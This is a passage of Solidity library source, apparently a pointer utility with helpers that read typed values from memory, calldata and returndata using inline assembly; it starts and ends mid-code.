`mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n 